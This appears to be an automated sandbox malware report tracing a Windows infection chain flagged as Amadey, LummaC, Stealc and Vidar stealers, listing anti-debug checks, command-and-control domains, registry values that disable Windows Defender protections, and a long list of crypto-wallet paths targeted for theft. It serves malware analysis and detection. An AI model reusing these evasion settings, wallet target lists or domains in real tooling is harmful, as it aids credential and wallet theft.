Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe

Code function: 9_2_05160DC8 rdtsc

9_2_05160DC8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C7CAC62

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001C652B mov eax, dword ptr fs:[00000030h]	9_2_001C652B
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001CA302 mov eax, dword ptr fs:[00000030h]	9_2_001CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_006FA302 mov eax, dword ptr fs:[00000030h]	10_2_006FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_006F652B mov eax, dword ptr fs:[00000030h]	10_2_006F652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006FA302 mov eax, dword ptr fs:[00000030h]	11_2_006FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006F652B mov eax, dword ptr fs:[00000030h]	11_2_006F652B

Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C7CAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 7680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 6016, type: MEMORYSTR

LummaC encrypted strings found

Source: 580f9a92c2.exe, 0000000C.00000002.2384734143.0000000000901000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: scriptyprefej.store
Source: 580f9a92c2.exe, 0000000C.00000002.2384734143.0000000000901000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: navygenerayk.store
Source: 580f9a92c2.exe, 0000000C.00000002.2384734143.0000000000901000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: founpiuer.store
Source: 580f9a92c2.exe, 0000000C.00000002.2384734143.0000000000901000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: necklacedmny.store
Source: 580f9a92c2.exe, 0000000C.00000002.2384734143.0000000000901000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: thumbystriw.store
Source: 580f9a92c2.exe, 0000000C.00000002.2384734143.0000000000901000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: fadehairucw.store
Source: 580f9a92c2.exe, 0000000C.00000002.2384734143.0000000000901000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: crisiwarny.store
Source: 580f9a92c2.exe, 0000000C.00000002.2384734143.0000000000901000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIIIIJKFCA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIIIIJKFCA.exe "C:\Users\user\DocumentsFIIIIJKFCA.exe"	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe "C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe "C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe "C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C814760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C814760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6F1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C6F1C30

Source: file.exe, file.exe, 00000000.00000002.1941489405.0000000000886000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 7Program Manager
Source: DocumentsFIIIIJKFCA.exe, 00000009.00000002.1978524523.00000000003CE000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2013399654.00000000008FE000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2913625204.00000000008FE000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: RProgram Manager
Source: 580f9a92c2.exe, 0000000C.00000002.2385253411.0000000000B28000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: cProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAE71 cpuid

0_2_6C7CAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C7CA8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 11_2_006C65E0 LookupAccountNameA,

11_2_006C65E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C718390 NSS_GetVersion,

0_2_6C718390

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 580f9a92c2.exe, 00000011.00000003.2614139210.000000000136E000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2613840986.0000000001395000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2614026926.0000000001395000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2613840986.0000000001389000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2614026926.000000000138B000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000002.2748924112.00000000012E5000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2853297996.00000000013DC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 9.2.DocumentsFIIIIJKFCA.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.skotes.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.skotes.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1973135510.0000000000191000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2911394505.00000000006C1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2012863863.00000000006C1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 2516, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.2457446943.000000000089E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2889582820.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2586547286.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1942675827.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1941074085.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2833438111.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1667051199.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2755098437.00000000062B1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2705966082.0000000008730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2629590206.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2457776539.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2417034730.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2631391189.00000000014FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 7680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 6016, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 5924, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local 